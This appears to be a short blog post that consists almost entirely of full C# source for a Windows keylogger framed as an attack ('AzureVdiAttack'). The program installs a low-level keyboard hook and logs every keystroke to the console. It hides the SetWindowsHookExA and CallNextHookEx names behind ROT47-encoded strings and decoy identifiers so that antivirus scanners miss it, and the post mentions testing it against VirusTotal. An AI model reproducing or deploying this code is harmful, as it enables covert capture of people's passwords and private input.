Obfuscated keylogger in C#
3 min readJul 8, 2023
Let’s see what Virus Total tells
using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Management;
namespace AzureVdiAttack {
static class TextHelper {
public static byte[] ByteSequence(byte min, byte max) {
var arr = new List<byte>();
while (min <= max) {
arr.Add(min++);
}
return arr.ToArray();
}
public static byte[] JoinByteArrays(byte[] firstArray, byte[] secondArray) {
var combinedArray = new byte[firstArray.Length + secondArray.Length];
Array.Copy(firstArray, combinedArray, firstArray.Length);
Array.Copy(secondArray, 0, combinedArray, firstArray.Length, secondArray.Length);
return combinedArray;
}
public static string process(string data)
{
byte[] alphabet = ByteSequence(33, 126);
byte[] bytes = Encoding.ASCII.GetBytes(data);
List<byte> output = new List<byte>();
foreach (byte b in bytes) {
byte n = b;
if(n < 33 || n > 126)
{
output.Add(n);
}
else
{
int v = (n - 33) + 47;
if (v > 94) {
v = v - 94;
}
if (v == 94) {
v = 0;
}
output.Add(alphabet[Convert.ToByte(v)]);
}
}
return Encoding.ASCII.GetString(output.ToArray());
}
}
static class NativeMethods {
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string dllToLoad);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
[DllImport("kernel32.dll")]
public static extern bool FreeLibrary(IntPtr hModule);
}
class AzureVdiAttack {
static readonly int BLUE = 13;
static int hHook = 0;
static StringBuilder buffer = new StringBuilder(256);
/* https://stackoverflow.com/questions/16518943/dllimport-or-loadlibrary-for-best-performance */
delegate int Handler(int code, IntPtr wParam, IntPtr lParam);
//[DllImport("user32.dll", SetLastError = true)]
//static extern IntPtr Flowers(int idHook, Handler lpfn, IntPtr hMod, uint dwThreadId);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
delegate IntPtr _Flowers(int idHook, Handler lpfn, IntPtr hMod, uint dwThreadId);
static _Flowers Flowers = null;
//[DllImport("user32.dll")]
//static extern int Roses(int hHook, int nCode, IntPtr wParam, IntPtr lParam);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
delegate int _Roses(int hHook, int nCode, IntPtr wParam, IntPtr lParam);
static _Roses Roses = null;
[DllImport("kernel32.dll")]
static extern uint GetCurrentThreadId();
[DllImport("kernel32.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto)]
static extern IntPtr GetModuleHandle(string lpModuleName);
[StructLayout(LayoutKind.Sequential)]
public class KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public KBDLLHOOKSTRUCTFlags flags;
public uint time;
public UIntPtr dwExtraInfo;
}
[Flags]
public enum KBDLLHOOKSTRUCTFlags : uint {
LLKHF_EXTENDED = 0x01,
LLKHF_INJECTED = 0x10,
LLKHF_ALTDOWN = 0x20,
LLKHF_UP = 0x80,
}
[DllImport(@"user32.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
static extern bool GetMessage(ref MSG message, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax);
[DllImport(@"user32.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
static extern bool TranslateMessage(ref MSG message);
[DllImport(@"user32.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
static extern long DispatchMessage(ref MSG message);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool GetKeyboardState(byte [] lpKeyState);
[DllImport("user32.dll", SetLastError = true)]
static extern short GetKeyState(int key);
/* https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.keys?view=windowsdesktop-7.0 */
/* https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes */
static readonly int ShiftKey = 16;
static readonly int CapitalKey = 20;
static readonly int ControlKey = 17;
static readonly int MenuKey = 18;
static readonly int VK_CAPITAL = 0x14;
static readonly int MASK_UP = (1 << 15);
static bool shift_active() {
return (GetKeyState(ShiftKey) & MASK_UP)!=0;
}
static bool capital_active() {
return (GetKeyState(VK_CAPITAL) & 1) == 1;
}
static bool menu_active() {
return (GetKeyState(MenuKey) & 1) == 1;
}
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
long x;
long y;
}
[StructLayout(LayoutKind.Sequential)]
public struct MSG
{
IntPtr hwnd;
public uint message;
UIntPtr wParam;
IntPtr lParam;
uint time;
POINT pt;
}
[DllImport("user32.dll")]
static extern int ToUnicode(uint virtualKeyCode, uint scanCode, byte[] keyboardState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)]
StringBuilder receivingBuffer, int bufferSize, uint flags);
/* https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/inputdev/about-keyboard-input.md#dead-character-messages */
public static int RED(int code, IntPtr wParam, IntPtr lParam) {
if (code < 0) {
return Roses(hHook, code, wParam, lParam);
}
int c = (int)wParam;
KBDLLHOOKSTRUCT kbd = (KBDLLHOOKSTRUCT) Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
int altOn = (kbd.flags & KBDLLHOOKSTRUCTFlags.LLKHF_ALTDOWN) == KBDLLHOOKSTRUCTFlags.LLKHF_ALTDOWN ? 0xff : 0x00;
bool onAltGr = (kbd.vkCode == 162 || kbd.vkCode == 165); // see: https://cherrytree.at/misc/vk.htm
bool onKey = (c ==0x100 || c==0x104); //WM_KEYDOWN, WM_SYSKEYDOWN, see: http://pinvoke.net/default.aspx/Constants.WM
if (!onAltGr && onKey) {
//System.Console.WriteLine("c="+c+", vkCode="+kbd.vkCode+", scan="+kbd.scanCode+", alt="+altOn);
byte[] keyboardState = new byte[256];
/* Please note GeyKeyState for menu must be called before GetKeyboardState, it interacts with kernel kbd buffer */
bool shift_on = shift_active();
bool caps_on = capital_active();
bool menu_on = menu_active();
GetKeyboardState(keyboardState);
keyboardState[ShiftKey] = (byte)(shift_on ? 0xff : 0);
keyboardState[CapitalKey] = (byte)(caps_on ? 1 : 0);
keyboardState[ControlKey] = (byte)altOn;
keyboardState[MenuKey] = (byte)altOn;
StringBuilder buf = new StringBuilder(256);
int res = ToUnicode(kbd.vkCode, 0, keyboardState, buf, 256, 0);
buffer.Append(buf);
System.Console.WriteLine(buffer);
}
return Roses(hHook, code, wParam, lParam);
}
static void Main(string[] args) {
IntPtr pDll = NativeMethods.LoadLibrary("C:/Windows/System32/user32.dll");
IntPtr pAddr = NativeMethods.GetProcAddress(pDll, TextHelper.process("$6E(:?5@HDw@@<tI("));
Flowers = (_Flowers)Marshal.GetDelegateForFunctionPointer(pAddr, typeof(_Flowers));
pAddr = NativeMethods.GetProcAddress(pDll, TextHelper.process("r2==}6IEw@@<tI"));
Roses = (_Roses)Marshal.GetDelegateForFunctionPointer(pAddr, typeof(_Roses));
IntPtr hMod = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
Flowers(BLUE, new Handler(RED), hMod, 0);
int ret = Marshal.GetLastWin32Error();
System.Console.WriteLine("Exit code="+ret);
MSG msg = new MSG();
while (GetMessage(ref msg, IntPtr.Zero, 0, 0)) {
if (0x10 == msg.message) { // WM_CLOSE
break;
}
TranslateMessage(ref msg);
DispatchMessage(ref msg);
}
}
}
}